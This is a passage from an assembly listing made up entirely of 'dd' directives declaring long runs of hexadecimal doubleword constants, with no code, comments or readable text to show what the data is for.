3DD90551h, 0B02C0711h dd 9C2097A8h, 0CC214037h, 18623314h, 810702AEh, 0C0D89801h dd 0CBE378h, 5C0888B3h, 8DF32F20h, 0FD72B04h, 0A580AB06h dd 0EFD6F0h, 60F45D5Bh, 4626DA58h, 0B200E60h, 0EBD94BCBh dd 0BDE9F0h, 62E4245Ch, 30902C71h, 1CC37503h, 0B8BAF306h dd 0F08CF0AEh, 79F0063h, 87973A36h, 980E92A4h, 0A114C33Dh dd 0FA5278E6h, 36012C3h, 1DCC0A7h, 8F00A4EFh, 41AA3E6Eh dd 1ED561B4h, 32CFA8h, 8019326h, 0EE0E80A1h, 2313B745h dd 0A899257Ch, 735DCBh, 0D52E14EDh, 4774BE0Eh, 0B84EEE28h dd 7A77F101h, 5E7681B4h, 3EE542E0h, 9E003290h, 719CD1Bh dd 46008CA4h, 9289FAA8h, 0A0E2695Ah, 3FEB7B0h, 4ECF0BBAh dd 6609E4C0h, 801C4FE9h, 0DDC1FA5Ch, 0B9430218h, 0B6FF4ACEh dd 57EED360h, 4E8D6A00h, 0F58F0D6Fh, 0F7580226h, 0DFAB8EA6h dd 9DDEC860h, 9256EB00h, 827E037Ch, 9E271AAh, 0A0EF261Bh dd 0DD0EB480h, 0B716B1A9h, 0AC2D8369h, 486A51E0h, 9E007028h dd 541244B0h, 258CCDFh, 2DBC13B4h, 820994E8h, 402060D3h dd 0EFCA66Ch, 0A4B6460Eh, 317D6C20h, 668300CBh, 0A058B936h dd 0C65A3E1Eh, 0C1C29000h, 7979A12Dh, 5DAC26E4h, 7E21265h dd 6057B578h, 267F1F96h, 0F8E17D00h, 0E6C9C158h, 0D59D0581h dd 0C04D2A8Fh, 0D8F54C43h, 0FD00DFF4h, 0B6F50BBh, 7614550Ah dd 0AFD330A7h, 93DB388h, 2A4C9C05h, 50C0FFCDh, 0F26A69h dd 0CF4298E5h, 18437670h, 3325AE00h, 5E0E86ACh, 0FD450C46h dd 72D86212h, 25E0F500h, 0BC5CEF22h, 0A2170A47h, 3F4569Eh dd 4D97D813h, 82DB01F4h, 52CCB8AEh, 0F9E0D4h, 104BFDE1h dd 0C726048Eh, 8F2CD10Bh, 0BB4980EAh, 0EE771CE9h, 81BF008Bh dd 0A301334Ah, 99029821h, 0E242C30Ah, 80F48EDEh, 92541791h dd 712B8D9h, 460F1582h, 840EB7CDh, 27BCC0A5h, 13CEAC6h dd 144B2C43h, 2A058B1Ch, 0BC00D417h, 7B93F6B3h, 0AE38005Eh dd 2C155C05h, 6F03B58Bh, 0A7BA8ACFh, 427004E9h, 0C060A366h dd 926923EDh, 290137FAh, 0BE5DBD5Bh, 0F760DC8Dh, 0AA1F035Ch dd 393E86E7h, 748182E0h, 3D45B50Fh, 49B1A079h, 0E6D3759Fh dd 849B0491h, 0E0F4816Fh, 0C7007BA0h, 419DEDE8h, 0A124BBh dd 858F80E7h, 0FB46440Fh, 0EB5EF21Fh, 0C2238440h, 52034Ah dd 0B8C3334Bh, 20694C9Dh, 2FF88F00h, 0A01A895h, 0A92101A2h dd 932B7342h, 0EC289FC0h, 0A0DE4000h, 7C8D2F9h, 91A67FB1h dd 9BA260C1h, 15126E37h, 44B4F230h, 0AE9338D4h, 7B6BF670h dd 583300BAh, 71D6D86Fh, 5303D7B5h, 77F88CB7h, 3C0C80D3h dd 1DC8005Fh, 0D1F45902h, 0E17144D5h, 0DBFAA504h, 0B4C0A372h dd 4226C6Bh, 0C31756E0h, 63DCB4B1h, 81420F30h, 8CA6D5h dd 8F46D78Bh, 6BEFF9B6h, 0DF227400h, 0D3F1E07Eh, 0C344388Ah dd 0A796B580h, 6D1D63B3h, 8C01DFB0h, 53A46BDFh, 15F07549h dd 5D1A00F9h, 6634DB4Ah, 0E70028B0h, 8EB1B27Fh, 141E46Dh dd 0C3FD29E1h, 0D05CAECFh, 840122D4h, 276BA21Fh, 0B4FC03A0h dd 0A4E81F6Ch, 6EDB8D13h, 1DB19D38h, 0DD9A8F40h, 2C14ECAEh dd 0C44F97h, 0F1116A58h, 3400A889h, 0B1BE7851h, 1F74E5EFh dd 80585C71h, 0FFFE3AAFh, 8A0048A2h, 88EEBC03h, 9D628Ch dd 15A31979h, 30453256h, 16959A00h, 0EC63802Bh, 409884h dd 86002B2h, 9D64E303h, 80E49139h, 8662F90Dh, 78EF38h dd 9A56C3A5h, 0B3351F23h, 470E6DF8h, 60DE8FE5h, 28517DEAh dd 0FF6500B8h, 6E8B4A9Ch, 0AC004984h, 0C5BDFB27h, 9FB548h dd 7F30BC36h, 0E772F644h, 0D9177D01h, 4BDC5E91h, 0E0008438h dd 71B1BD57h, 8E0DA9B0h, 880BCECh, 7220402Eh, 0F828B1C5h dd 3AF7DA01h, 26EF3635h, 7B7C8F4h, 74EAB8ACh, 0E66AC088h dd 780037E3h, 14F70BC9h dd 0D24CE26Eh, 0E39CB430h, 76600AEAh, 47BE1D30h, 7520C756h dd 0E61E8127h, 0D2109E73h, 105AC5C9h, 9A8038h, 0AC56E41Dh dd 6463F121h, 274B2274h, 8619B8C0h, 0C413001Dh, 8ADFDBCEh dd 3801E7C6h, 7472B25Ch, 0D1894168h, 420B30Fh, 9625196Dh dd 0AD51200h, 0E1F7474Ah, 9CA80176h, 74698C68h, 9D94486Dh dd 91F27C05h, 0FA0076C8h, 55B2D935h, 32D600D5h, 0D074123h dd 1D0E43EAh, 407134A3h, 0FAE0BAA2h, 85B600AAh, 1E90A75Dh dd 8625DDD4h, 0FCF64Fh, 0AD3AE46Ah, 2C00D5B8h, 0E749A08Ch dd 51A010Dh, 342F3CBFh, 14E0C058h, 600042BEh, 0E0CDA283h dd 1DAB4AB6h, 0EA9BDEh, 81463D92h, 27031EDBh, 56D58CBCh dd 0E01A83EFh, 7CE3FB19h, 34260C25h, 6761B1E6h, 6040D1Eh dd 9A5A0F00h, 0F25F2179h, 1F5900A5h, 1076C50Ch, 0FF0E5BC3h dd 0D806C422h, 3EF8C49h, 7D29CFF2h, 51000EE5h, 90FBB8D2h dd 0FB0ADh, 0BDD4C5ABh, 39A5F45Eh, 5B3AC400h, 0FB25147Bh dd 3DB501F1h, 8C33E613h, 162E20BFh, 0FAC8BE00h, 0AC370ADAh dd 0F3B0009Ah, 52F7FD19h, 4008095h, 8C6E4670h, 3154DC14h dd 0CBF86AEDh, 0B7B61753h, 2EBE0C19h, 4B1FA1Bh, 5831E703h dd 0C7D6BA16h, 14B3EA40h, 0BF744Bh, 0E019C601h, 1C5868FBh dd 4300B07Bh, 4F6255FEh, 0C27E897h, 1BA2D05Ch, 21195784h dd 0FE10D193h, 1683044Bh, 100F73C0h, 2365B63h, 402B01DCh dd 0CAEAE6h, 916230B7h, 643E877Ah, 821451Ch, 0EB855540h dd 1F8A67ACh, 1D5992ADh, 5499C037h, 17D8570Ch, 8402A609h dd 1AEE03FFh, 8264A087h, 79F7368h, 0D66FDC8Ah, 7499E0D0h dd 0BC00DAC6h, 9A576DEAh, 6A310Eh, 0F2FA4D7Eh, 16D49CECh dd 4199C60Ch, 739248h, 0CA316D0Fh, 0A0A76ED0h, 40E84272h dd 0BE535613h, 8DC33300h, 510684h, 9754D922h, 0CFC277C8h dd 827E7BFEh, 0AC96F000h, 363E37F3h, 0AB420062h, 0ADE08388h dd 24269A59h, 1D00F7E3h, 5E8E67F4h, 0E5B4004Eh, 4898D607h dd 100168A7h, 0A4ACC1AEh, 22ECDCC8h, 0BBB089h, 84648002h dd 565361C7h, 0E033DF01h, 7A933ACAh, 1D3741C4h, 4071B50Fh dd 8D260DB4h, 0AE009580h, 0DFC70731h, 901A4052h, 8BF683h dd 90ECAB97h, 3C75FFA0h, 0A272113h, 0EA4101BAh, 404F38AAh dd 0C32F1BE4h, 88B4EC00h, 9DFB4A94h, 2891027Fh, 71515025h dd 9A0033E3h, 99482A90h, 6616247h, 319BE1F8h, 59105094h dd 0E6001AADh, 0D5ED352Eh, 1400CD55h, 0FD467B39h, 0CE5B58h dd 0D24D8301h, 0F312B103h, 3F004577h, 9A9C0744h, 5CCDC1h dd 0D196A51Dh, 0ABE020CCh, 2852A0Ch, 0C67AAAh, 0ED099BCAh dd 1352B25Bh, 0F110C312h, 0C04F1F0Fh, 690E1EEEh, 0AC4D0219h dd 0DF413897h, 6AE7FCE0h, 5D885A00h, 821E379Eh, 70350048h dd 0F4850720h, 7D1E4174h, 0CF40B445h, 0D94C2D1h, 0BA1314D4h dd 0B839B88Eh, 0F1049000h, 0EC522E41h, 32188F60h, 0A5801F5h dd 70B4BAD7h, 0DEFA0488h, 0AEE2004Eh, 0F6A337Ah, 0F6AF7F9Eh dd 55B0B780h, 60483B2Fh, 0C13C0060h, 0BF276740h, 0E2410090h dd 89AC44F2h, 3E00EBD0h, 0BB066355h, 8E346h, 0F81530FDh dd 6478B337h, 68E04A00h, 0D2DE0DEDh, 115201E2h, 0FB389B03h dd 2B7C60FAh, 40F256E2h, 74E75B00h, 967D174Eh, 998800F0h dd 556413C7h, 0C502A4F3h, 4C70A3FAh, 60776028h, 2779588Ah dd 56EB7518h, 291FCCEAh, 0B8789D6h, 4320E909h, 0F551E34Eh dd 70411434h, 0F3ED2804h, 0DB760090h, 7C85E563h, 84013453h dd 2F6765AFh, 0CDD8EA72h, 61CA7CC4h, 98E531C9h, 69288450h dd 40900CBCh, 0C95BA6h, 0F3D0837Eh, 214B213h, 0E2E3D0Fh dd 0C03AE09Dh, 7BC347h, 82DE7D52h, 29653879h, 5E8B2300h dd 2C70216Ch, 0E11D0341h, 0F955882Fh, 292D2680h, 2E7BC11Ch dd 8D5AE8C0h, 0A6C491Ch, 1FFC62CAh, 9D5500E8h, 34E34758h dd 0D3C9A113h, 872C8840h, 992353Fh, 0ABCFA844h, 0C8409C00h dd 8274E285h, 5A8F948h, 33C627A0h, 739803C0h, 5B9600D2h dd 9D8049CDh, 0FF0072BBh, 0C5E86D83h, 0DB8A95h, 75503E41h dd 76A64AECh, 0AD7FFD00h, 3D396987h, 0EA7E8Dh, 0B2526779h dd 8038C2B9h, 0B30BF2FAh, 2FC36Dh, 9A48328Dh, 304F0084h dd 2EB4E73Ah, 700BC481h, 0BC5341h, 0DF8C76BEh, 5DF291h dd 74DDD08Eh, 0B68A3DE5h, 265B9A07h, 536048DCh, 6A94D25h dd 0CE5CC710h, 0A100210Ch, 9640A8Bh, 0F7DB8Eh, 0C7D56D47h dd 0B7F21A1Fh, 4B94D600h, 43321046h, 0AFBD0EE3h, 5E20E768h dd 0D0C10B83h, 972D580h, 706B5DCEh, 3179C00h, 3A2CDD63h dd 54002957h, 0F9363C94h, 85A1005Eh, 226AD0Bh, 38704C1Fh dd 0C3D3F00h, 426A34C6h, 5A7B00B1h, 0FBBD1C8Ch, 3102463Ch dd 35D090AFh, 5F53E0BBh, 0FFC61CD4h, 9CAA4EA5h, 0BDA79A00h dd 0CE78F6BAh, 96951E00h, 8BB8EE27h, 1DEA0079h, 9B8D2D2Bh dd 10191A8h, 0B53B1C97h, 1BF40356h, 778C0051h, 997D826Eh dd 0F700FB52h, 43DA604Ah, 7881CFh, 2ADE6731h, 87B41FFDh dd 0A4489D7Dh, 8C6B0024h, 986A853Ah, 0DE30033h, 1F0AE6A6h dd 0B56045B8h, 0FE5FCD10h, 143952D6h, 0C0EB2614h, 2CC5007Eh dd 945219A9h, 41CD251h, 0CC66A733h, 0B0CD2B00h, 90FAB920h dd 1BA57F48h, 48A3D750h, 0D4A490EDh, 0CB1C9EF0h, 75C08C4Ah dd 0ECEB5685h, 49C3004Eh, 0BA2DD312h, 0FFFC0FAAh, 0DC299700h dd 0FA2E9AC7h, 84B40EBEh, 91E68572h, 59002057h, 0D61729B8h dd 0F301954h, 5E601E4Eh, 3EBAA720h, 5011D0Fh, 267FA157h dd 705378h, 5FDA00F5h, 0A38A4A0Ch, 0BE009DAAh, 0B26DFAE2h dd 3D396FBh, 20B7B8B4h, 31E01A0Ch, 0C00042B5h, 8015D792h dd 363FC6Dh, 0E3AD069Dh, 0C1E59E30h, 0E99A6F2Bh, 0F91C7084h dd 91F28A01h, 51742561h, 836860h, 0AB844479h, 2B2758AAh dd 0D6F31A03h, 0E8083B6Fh, 9D8A087h, 0F2EB68F5h, 73DEC20h dd 3A07481Dh, 7B5F2DBEh, 0B908E57h, 846F6Dh, 0FE7CB275h dd 0A16E6846h, 199B5B00h, 0ED424193h, 6A3F0399h, 717B1E76h dd 65F9FDB0h, 563CD700h, 0DFDBB494h, 0BEEC4Bh, 1A1ED118h dd 7761D402h, 0CEF05703h, 0D0AF34AEh, 76830B7Bh, 0A9880060h dd 79288FB6h, 35F808E8h, 0DB70D300h, 0FBAC1D2Fh, 89C800EEh dd 0A43B8CCAh, 8D0098ADh, 75D61820h, 0C57AD2h, 0A1350344h dd 0CA01E770h, 0FD9EF5Ch, 0E461376Fh, 8A04B69h, 9F01D9Fh dd 0DFEB417Ah, 0E0FA90C4h, 0AE132F69h, 2701D93Bh, 21BC380Fh dd 900212C4h, 64910004h, 9FF16878h, 0E81D7F23h, 0A6AEAD4Bh dd 0B8E00Eh, 0EBDB0733h, 922CFA19h, 93760260h, 9B92F06Fh dd 0F044850h, 1C96D743h, 3B1E5Eh, 0C4320AADh, 0F1E276BCh dd 0D92485B8h, 0F0079B87h, 35803D44h, 0F008F8B1h, 458C0F06h dd 36001849h, 283C5CC6h, 0A9543300h, 0D857D732h, 934A00ABh dd 0A673469Dh, 470E6761h, 7D8F0813h, 3972EE8Ch, 12C80F37h dd 9035D15Eh, 0DE32F00Bh, 0BB5C1420h, 75009F6Dh, 6BA9934Ch dd 0A0B6F08Eh, 0A1D55E10h, 0A880F21Ch, 0C6B22701h, 8A051AA1h dd 0F4C39D57h, 854D1380h, 0FAA6001Dh, 61B50428h, 43EC925Ch dd 0C2963700h, 8D87C64Ch, 277F03B3h, 0D22A34F0h, 80C89BF0h dd 7C8FE100h, 827DF5C2h, 4DC50784h, 31892E58h, 0D46FCF81h dd 0A0255B7h, 121D4C71h, 6A074045h, 83A20136h, 0C0416275h dd 0B34FC7Bh, 26D43A00h dd 0E67FEF42h, 36A40177h, 69DF9A81h, 5FB5C013h, 0F678A200h dd 9334EC99h, 31050044h, 0E577248Fh, 8003872h, 9B366ED2h dd 33F82F2h, 551E1C76h, 0A9B8D986h, 0B30EBBB2h, 40572DD4h dd 0FDC8DA7h, 0C56404BCh, 0C1AB714Ah, 0F2D67222h, 33BD3BE0h dd 12284D7Ch, 0AB00B084h, 0B3C58A7h, 49E1DCh, 3283076Dh dd 67778775h, 0C4E4F92Ah, 40E8FF0Fh, 23C0036Fh, 0A190B960h dd 0E88A92C3h, 3BA2E8h, 0C85F1D9Bh, 0CFA93D34h, 602409C9h dd 0F05BA8h, 1F9CEC1Dh, 65F820E4h, 7B90D503h, 0FD6A49h dd 0C5C607A9h, 0F991BD2Fh, 19A77601h, 92A6FFE4h, 0E86BE0h dd 0C7B00725h, 93E9AE90h, 11945C00h, 19703784h, 0CB410001h dd 611A42C5h, 20E8BBA1h, 0E5A3041Ch, 0A33D64Ch, 0B13F023h dd 0B4B3FFC7h, 9111D300h, 481F9403h, 55009036h, 0AC0C17A3h dd 0CEBB0029h, 84CB6377h, 6B00DFE0h, 0F8EDEC3Ah, 2EABC9EBh dd 71DADBh, 8620724Bh, 150065D1h, 0F534595Ch, 15EEA90h dd 0F60646D4h, 6AD228E2h, 18668800h, 0BB8BC5h, 85FB5E4Ah dd 0B935E6CCh, 0E5D66707h, 7F60B0D3h, 277A97h, 30E4A083h dd 62C546FCh, 652EE200h, 3CDF5B0Fh, 2CDA0F70h, 268063C4h dd 2EE1A78Ch, 0F5281AF0h, 910F1815h, 7E1842h, 0BC797894h dd 0B9E4C0h, 409C2BA7h, 0D032C6FAh, 0E32AEC0Ah, 0E0D01449h dd 0D98E1C83h, 0EB600D2h, 63E6DD73h, 8A14680Ch, 0A47078h dd 5826B57Dh, 0DDB1660h, 0D7085066h, 4E2E00A8h, 0F92B407h dd 9E00B70Ah, 83808C58h, 3EF59F47h, 0E2068956h, 307578BCh dd 4400C47Eh, 8626AEF1h, 3AE38CC9h, 9F30C835h, 0F16C3121h dd 47BCE90Fh, 1A801C46h, 0A30F1BDAh, 703800BBh, 7883209Eh dd 9F182DB0h, 6338F57Bh, 0CA240102h, 0EF21AF7Ch, 9529E58Fh dd 3EAC2708h, 53CA0135h, 9779A874h, 0C78954D4h, 420DC4E9h dd 54A07B29h, 26A1F15Fh, 3E228E46h, 0F16B4E00h, 3C69FBFEh dd 7B2C0042h, 0FC3BDDE0h, 0CB14BC83h, 42805717h, 31A0B22Ch dd 5467F499h, 0AADCA10Eh, 980270A4h, 2DD90180h, 0AE0E1448h dd 0F744B800h, 0ADF63012h, 6031744Ch, 962B21E5h, 0AB0739B8h dd 55DC9EB4h, 4CCB27B0h, 0F550C2DFh, 84A56BBFh, 83A80143h dd 20E95B1Fh, 0ED00AD48h, 29338067h, 0C1F6D5h, 0D39A2EFDh dd 7ACD5CB2h, 74A98A1Dh, 8384D240h, 0F45A6A2h, 0D15A19E9h dd 8CBA6A80h, 79FA430Ah, 0C9224200h, 4DAC606Ch, 238D01C2h dd 0A64E9A44h, 112AF059h, 5C7DE000h, 0E7EAAD9Dh, 4D9701A5h dd 32AED8E4h, 8B1081E6h, 0A0BF68BEh, 1D23C9D0h, 1ACA26ABh dd 60C03104h, 1A069268h, 2CCF98A6h, 314B0719h, 8C2B965Dh dd 28009FECh, 0C8B2771Fh, 39C4A016h, 1914B710h, 500146Dh dd 3961AAF1h, 4D004B36h, 2E019017h, 294010A1h, 14CDAE4h dd 0A0C16924h, 887F18EEh, 6800F7E8h, 61EECC31h, 270A2D0h dd 0B62F9806h, 0A5049418h, 0E476BEC1h, 304DC2F0h, 0C51897A9h dd 0BF0172BCh, 0DBF72D02h, 898E22Ah, 64E821CCh, 756A7100h dd 694BDDEFh, 7EC9F92Ch, 30B72C40h, 0CE3200A8h, 16AA884Ah dd 0FFE886F2h, 38D221C0h, 36AEDA8h, 0F067F3B3h, 0AED99FAFh dd 27C18078h, 36532F8Bh, 0FADC0041h, 8D708ACBh, 39009073h dd 6B5CCAEDh, 545B1922h, 6062A0C3h, 1F561FBh, 0F61F3DBEh dd 53800B90h, 6CE8225Eh, 41320E1Dh, 2F205624h, 0AD72894Dh dd 448D3E00h, 31E08E01h, 2BAC0CB3h, 0A5F1C664h, 0CC6A4C00h dd 0AE868ACDh, 0AC5F0004h, 2DE26071h, 5C182F10h, 2BB8E85Dh dd 0CC9F1D92h, 778A1D16h, 0C846C341h, 0EAC26180h, 645C29C0h dd 283512ACh, 0F2840CCCh, 0E9530001h, 0D2D32970h, 4C00422Ch dd 9660AEC9h, 182BE107h, 0F0A6A534h, 0A1C0842Fh, 0D220232Ah dd 1C7F01D9h, 60AF00Ch, 94E84835h, 0C668A806h, 919862h dd 0FB73E87Bh, 5578FA18h, 1DED4700h, 0C76FEFEBh, 0C950002Ah dd 0A897A611h, 380001BDh, 6BA12686h, 0B661E18h, 94D6C65Bh dd 41E1790Ch, 29DD270Fh, 3B63E033h, 30A1F7C6h, 40212DADh dd 0FA0ED3D5h, 0C09CEAABh, 0B12AF9C0h, 3F9A008Dh, 7B6813FFh dd 20243C31h, 0BD0284CFh, 48AE97D5h, 3ECD2B78h, 35BF5A6Dh dd 1146F900h, 0BE419C20h, 2838AFFCh, 0EA0A00CDh, 1D15C0F1h dd 5B1A0273h, 0FF2AB535h, 26067720h, 0A8F104B0h, 824A3B4Ch dd 0DB20BED4h, 8E9D6h, 8F867C41h, 0BDCEFD51h, 66702406h dd 1D502B30h, 0BDA60C65h, 40BBEE80h, 50D84562h, 0C10789FCh dd 3DF34F9Dh, 81691A31h, 29F1F4FCh, 0F504479Eh, 0CC71EA86h dd 4C2B1810h, 25E9D062h, 0F000DBB0h, 58F602B7h, 30A56C01h dd 362872DEh, 0DC10D0EFh, 0F684B5E9h, 0DF8E00F2h, 7392C84h dd 628D7473h, 15A08FAFh, 6AC26C54h, 3E387D00h, 0C84743FCh dd 82CB012Eh, 6911A688h, 3B5EF041h, 3348221Fh, 0A59ABE01h dd 72EC3057h, 27A001B1h, 0D175FCF1h, 97CAF0D0h, 744E605h dd 6B8024B2h, 758A87CEh, 0C750006h, 0DE5A6CE9h, 0D5002D3Ah dd 0D67E9596h, 623CACh, 857565F6h, 201EA2D2h, 4B93B81Dh dd 434E45C0h, 0BBA668h, 0A18F7D87h, 0D554C108h, 1D2AF8E5h dd 1F58AE00h, 0C4E075D7h, 379A009Eh, 0E1A04A59h, 11FA7BFh dd 54C0EF06h, 0F6443F62h, 2CDC0074h, 0F3F4B91Fh, 0AF004973h dd 0A657630Ah, 1613EEAh, 0E5FD04E4h, 0C4D1C339h, 0AF03285Ah dd 6CB4A3EDh, 7B0F9058h, 3003000Ch, 90F54068h, 89021588h dd 0AB5E4338h, 0B726050h, 6D65180Dh, 0C8B31962h, 0E0288500h dd 87A10F51h, 399DE226h, 3E804F34h, 0A90CC402h, 0CF00D9FBh dd 3ED8D65h, 0F7C3E9h, 0A40E3F88h, 48075332h, 5428CB09h dd 21FCA2h, 0F40B0A7Eh, 7C3ED33Dh, 806A0F40h, 85C1C06Ch dd 4936180Eh, 0F76341Eh, 6A9DBB70h, 882632E0h, 210FD555h dd 0E00BA83Dh, 0D9F1E940h, 5823FAA7h, 0C0005ABBh, 0F30F2A6Eh dd 0D10D09EBh, 56056C02h, 5A68D0h, 0BD752B3Ah, 10120151h dd 6DE8DB00h, 791745Fh, 0B52702D3h, 4618ABFBh, 0E268D448h dd 3700F274h, 616F0204h, 69708BEBh, 13009176h, 95C78047h dd 0A3FE10C2h, 635FE0ADh, 0FDB92A5Fh, 0A7750734h, 0E6CC7A4Bh dd 0FF0041D4h, 7C89E146h, 0F973EFh, 0B9DB696Ch, 0BFC2BBA3h dd 0CB25E00h, 8574BE14h, 165A0F12h, 40DD2450h, 5EE4DD69h dd 25012261h, 7663FA13h, 0CF301FA0h, 2FB887h, 61116EA6h dd 3D5B7BFh, 0AAD20600h, 0BA4B3ABEh, 414C1CF5h, 0C358C186h dd 0EC20E8C9h, 0EA280583h, 86FD8046h, 8B4991F8h, 50410FB0h dd 0B221AEA2h, 8010F4FBh, 87F20CC9h, 0FCC15BAh, 14FEEAA2h dd 8432D421h, 90E4506Fh, 0E20EC8A6h, 20CFAFA2h, 0F7E3755Fh dd 0C52F033Bh, 520246BDh, 0EB44B3E8h, 17031302h, 40F3C33Ch dd 846F2608h, 0E4083003h, 0B8CC2160h, 1D07B8h, 16253DE2h dd 80C1758Bh, 8A57103h, 633B47h, 95B58110h, 0B2A21EC8h dd 0CE04F3Ch, 3102896Bh, 91F7014Eh, 315A159Dh, 0B8DC4CFEh dd 809FD426h, 0FFB7C400h, 9A46AFCh, 0FD206EFEh, 0C7DE6800h dd 80E5AC24h, 4A88D590h, 2923D04h, 73DC03EFh, 0E78A1CBAh dd 9EB88104h, 24BB698Eh, 0C200D54Ch, 0B3BE807Ch, 2FB016h dd 6E9F191Fh, 66740EC1h, 8236B05h, 0A8704503h, 9E578B7h dd 0DB011096h, 9AAD4A2h, 2B1168E0h, 95E450A8h, 15411F00h dd 0A2C04593h, 5DBA1469h, 8900E08Ah, 0A4503D28h, 0B0EF427h dd 41A8E671h, 0DDCE7543h dd 9E958451h, 0E3040108h, 5FC7AA55h, 0A6A35380h, 6D9F2410h dd 54B5C0D8h, 1B4D6040h, 0B970006Eh, 144D31D0h, 0BD38A158h dd 6F33D8FFh, 90A600ABh, 5F6B73F7h, 0A7006580h, 0C1E38A38h dd 212FADh, 2D479623h, 0A118CC77h, 0A9490C7h, 7022BEB0h dd 0DBF8A838h, 133503B3h, 32154B8Fh, 8609F9B0h, 9000287Eh dd 8E2931BDh, 248C7462h, 60580122h, 210C7261h, 9A1F6300h dd 97F557C8h, 88549B83h, 5914F3CEh, 8C130097h, 0DCAA27CDh dd 0CCDD07B6h, 0B76F7E56h, 0B25D007Ch, 0E8049047h, 63C767BDh dd 0B4758480h, 872B00C1h, 0CA6E1ABBh, 6B00487Eh, 363E95Ah dd 1DDC0Bh, 0B9C78AFDh, 15332A9Dh, 2C198404h, 48C071B0h dd 0C07DBF21h, 703EB6F0h, 0A8A0C217h, 0AD3B3782h, 0E4652476h dd 90E37A09h, 923A3464h, 9429003Ch, 0C7B961A0h, 9A30541Eh dd 8496186Dh, 33E201C4h, 49E72386h, 2A89F8BCh, 6D56400h dd 0A96DE9C7h, 2DED12A1h, 0C2C44456h, 0D608830Dh, 991B5BB0h dd 5C8EFA00h, 31E60430h, 0C018F072h, 0D1A476E0h, 41ECACFFh dd 0CD004675h, 7955975Fh, 0CB0B392h, 0B9C06BCh, 0A01C1E18h dd 0E4C3270Eh, 87EB7E2Dh, 7588ECF0h, 14550059h, 1C785179h dd 760724F2h, 0AD91FF3Bh, 6C86A800h, 0E2A50030h, 0D2C1D42h dd 0D0005E23h, 0C9F492ABh, 987D99BCh, 3AD500BCh, 65754CD1h dd 0C301190Fh, 3D97C602h, 0D5303E01h, 93A50172h, 75BE1DF6h dd 0E5C7CC22h, 767A5E00h, 1936D518h, 3ED89850h, 5F0310CEh dd 15D492B5h, 63EE58C8h, 86E78904h, 0A490A9E1h, 301FEFD7h dd 104898D3h, 34057D4Ah, 0EB8225Ah, 0E2C19090h, 0EA4F0AFFh dd 3B423BCh, 0B204AD89h, 38F53590h, 6F074BE6h, 0F191E701h dd 0D1F6D340h, 711A00C1h, 0C494BE77h, 1000AB96h, 0F1B4B3C8h dd 9CCAB8h, 332DC2FBh, 6EC1C958h, 0A70F5602h, 4086FF28h dd 0F246CA44h, 1909002Eh, 0CF3BB6E0h, 0FF166FC4h, 91004B49h dd 0E4A82947h, 412B0026h, 0D21C9D35h, 0CE00D00Bh, 80A57FA0h dd 0C4D3F40h, 0F211EF5Bh, 5E012CF8h, 35ADAE03h, 8A40B9B1h dd 0F645A1E5h, 0EA9200BBh, 775B00Dh, 16FCEE5Ah, 7148E317h dd 8C38AC04h, 1D842CC0h, 0D86A0006h, 31BCD7DDh, 1B2E9FBDh dd 97281D8Bh, 329BB081h, 8CE010Ch, 3431B6BDh, 145A7EECh dd 0A8C30E68h, 2165EA0Fh, 73464AE0h, 4F4DB704h, 0FD6D1C2Ch dd 33ECD944h, 32110CD0h, 80B8A20Ch, 5C2A2D94h, 0AFC4007Eh dd 0EC99CC0Fh, 0BF26FC25h, 3B8080A8h, 8737CB72h, 0E30C07A3h dd 0C021DB29h, 0B8B7A490h, 492406F4h, 0EB0074C9h, 0AAFF2C6Ch dd 11EC9BA5h, 5E0D00AEh, 176FA3A4h, 4CA61866h, 5C983831h dd 0E7EC9407h, 6175308Dh, 17A29080h, 9BF80006h, 0FAE33F7h dd 8016DD87h, 4506ADE6h, 1082F9h, 93685076h, 0A3D559B9h dd 702E8F00h, 0EE01B1D0h, 647E58BCh, 5018C4Ch, 8CAE1A3Ch dd 0A91434CBh, 0BF413700h, 0DD721F2Eh, 243671A6h, 9587BEh dd 3DBAEF8Fh, 455DE85Fh, 5A007EA8h, 299825EAh, 0A80A61CDh dd 75E4C8B0h, 2D1B0283h, 5CBECFF2h, 0BF036C68h, 0B203547Eh dd 44C6ABF6h, 0E18007Eh, 71DA6636h, 0BB001774h, 0C649F885h dd 519E6E4h, 724539ADh, 0E81C89B9h, 5600704Ch, 0A425712Bh dd 13D8EF1Eh, 40CE26F9h, 853EABD0h, 0D15813E0h, 84D53B59h dd 4E445004h, 870FA4C8h, 58673607h, 0C113D5F0h, 707A17A6h dd 57002071h, 174C2150h, 535E0406h, 0D231B4h, 0D0C66Dh dd 0EAF8941Eh, 0BDC00EB5h, 0CA0380A4h, 86DA3CE5h, 7E5200EFh dd 0FDB40474h, 1B0CDCF2h, 89381A73h, 697F3Ch, 0C04087B7h dd 0A0428C61h, 7D50100Fh, 65A1022Dh, 10C626h, 2A089A91h dd 0F60E64F2h, 2135D717h, 68AB8840h, 267AED6Ch, 0C0BC71h dd 9890D2Dh, 0C24928F3h, 11180070h, 909B1AB9h, 92BE0016h dd 3AC1D22Ch, 9370E205h, 63288F6Fh, 0B88323ADh, 5F72110h dd 20DCDB51h, 0E3C9CBBh, 5DEC1D0Fh, 0DDFDE7ABh, 0C7F34A21h dd 0E447420h, 5A6A60A6h, 5D0ADF60h, 270146D5h, 3F80C0C5h dd 2880CB15h, 6B34FD9Fh, 0F101D51Ah, 99033DD1h, 77D03A5Ah dd 0ADDF03EFh, 147BAE80h, 143A1E0h, 96F1B907h, 0F000E690h dd 28E248A3h, 0D4F3ADh, 65CFDE5Fh, 2D60A4D7h, 0FF6E8400h dd 294523B3h, 92C000Bh, 7383B793h, 69FCB88Ch, 250E6D01h dd 844C2738h, 436B8540h, 0CE6100F3h, 69F9811Ah, 6C00331Bh dd 37A25389h, 0D82EF5h, 2D48EEEAh, 8B0A827Bh, 24F9D53Ah dd 1B03D260h, 0A1CECF0Eh, 0C7C0A074h, 0BC3D12C0h, 0AC5440D6h dd 5ACFB483h, 9CDFC100h, 296A9CBh, 0D791DB6h, 6F120040h dd 0E8E03A94h, 80E11B0Ch, 1EBA31B7h, 80B202D5h, 86DC981Ch dd 0C300B905h, 0F04D7692h, 72CCB59Ch, 57020FA0h, 82605FFDh dd 0C35CDE7h, 69877513h, 0C3006F13h, 9C7D1312h, 1A420131h dd 9E3507A7h, 7517F4BAh, 4DA18097h, 1E9D6BEh, 45A783ECh dd 0E0CC6922h, 9818F540h, 0FA525C47h, 9B890057h, 631FBCDFh dd 8B07B1E7h, 0D3EBC951h, 0EF35E0EEh, 36CA62h, 70CE5881h dd 2E08E038h, 0FF88E207h, 200011D7h, 4DF74F2Dh, 0F50FEC73h dd 0BE608256h, 